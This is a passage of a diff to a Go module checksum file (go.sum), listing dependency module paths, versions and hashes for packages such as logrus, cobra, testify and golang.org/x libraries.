github.com/mitchellh/osext v0.0.0-20151018003038-5e2d6d41470f/go.mod h1:OkQIRizQZAeMln+1tSwduZz7+Af5oFlKirV/MSYes2A=
github.com/moby/locker v1.0.1/go.mod h1:S7SDdo5zpBK84bzzVlKr2V0hz+7x9hWbYC/kq7oQppc=
@@ -689,7 +677,7 @@ github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/
github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mod h1:r3f7wjNzSs2extwzU3Y+6pKfobzPh+kKFJ3ofN+3nfs=
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/pelletier/go-toml v1.8.1/go.mod h1:T2/BmBdy8dvIRq1a/8aqjN41wvWlN4lrapLU/GW4pbc=
@@ -702,7 +690,6 @@ github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6J
github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
github.com/pquerna/cachecontrol v0.0.0-20171018203845-0dec1b30a021/go.mod h1:prYjPmNq4d1NPVmpShWobRqXY3q7Vp+80DqgxxUrUIA=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
@@ -735,6 +722,9 @@ github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
@@ -742,30 +732,25 @@ github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/safchain/ethtool v0.0.0-20190326074333-42ed695e3de8/go.mod h1:Z0q5wiBQGYcxhMZ6gUqHn6pYNLypFAvaL3UvgZLR0U4=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
github.com/seccomp/libseccomp-golang v0.9.1/go.mod h1:GbW5+tmTXfcxTToHLXlScSlAvWlF4P2Ca7zGrPiEpWo=
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0=
github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc h1:jUIKcSPO9MoMJBbEoyE/RJoE8vz7Mb8AjvifMMwSyvY=
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
github.com/sirupsen/logrus v1.0.6/go.mod h1:pMByvHTf9Beacp5x1UXfOR9xyW/9antXMhjMPG0dEzc=
github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE=
github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
github.com/smartystreets/goconvey v0.0.0-20190330032615-68dc04aab96a/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
@@ -773,8 +758,8 @@ github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTd
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE=
github.com/spf13/cobra v1.1.1 h1:KfztREH0tPxJJ+geloSLaAkaPkr4ki2Er5quFV1TDo4=
github.com/spf13/cobra v1.1.1/go.mod h1:WnodtKOvamDL/PwE2M4iKs8aMDBZ5Q5klgD3qfVJQMI=
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
@@ -782,11 +767,11 @@ github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnIn
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=
github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
github.com/stefanberger/go-pkcs11uri v0.0.0-20201008174630-78d3cae3a980/go.mod h1:AO3tvPzVZ/ayst6UlUKUv6rcPQInYe3IknH3jYhAKu8=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/testify v0.0.0-20151208002404-e3a8ff8ce365/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
@@ -794,9 +779,10 @@ github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UV
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/syndtr/gocapability v0.0.0-20180916011248-d98352740cb2/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww=
github.com/tchap/go-patricia v2.2.6+incompatible/go.mod h1:bmLyhP68RS6kStMGxByiQ23RP/odRBOTVjwp2cDyi6I=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
@@ -826,7 +812,6 @@ github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
github.com/yvasiyarov/go-metrics v0.0.0-20140926110328-57bccd1ccd43/go.mod h1:aX5oPXxHm3bOH+xeAttToC8pqch2ScQN/JoXYupl6xs=
github.com/yvasiyarov/gorelic v0.0.0-20141212073537-a9bba5b9ab50/go.mod h1:NUSPSUX/bi6SeDMUh6brw0nXpxHnc96TguQh0+r/ssA=
github.com/yvasiyarov/newrelic_platform_go v0.0.0-20140908184405-b21fdbd4370f/go.mod h1:GlGEuHIJweS1mbCqG+7vt2nvWLzLLnRHbXz5JKd/Qbg=
@@ -846,17 +831,19 @@ go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E=
go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI=
go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4=
go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA=
go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20181009213950-7c1a557ab941/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
@@ -866,17 +853,20 @@ golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8U
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200220183623-bac4c82f6975/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20200323165209-0ec3e9974c59/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd h1:XcWmESyNjXJMLahc3mqVQJcgSTDxFxhETVlfk9uGc38=
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 h1:Y/gsMcFOcR+6S6f3YeMKl5g+dZMEWqcz5Czj/GWYbkM=
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
@@ -921,7 +911,6 @@ golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73r
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181005035420-146acd28ed58/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181011144130-49bb7cea24b1/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -939,7 +928,6 @@ golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLL
golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191004110552-13f9640d40b9/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
@@ -964,8 +952,8 @@ golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
@@ -999,11 +987,9 @@ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -1026,7 +1012,6 @@ golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
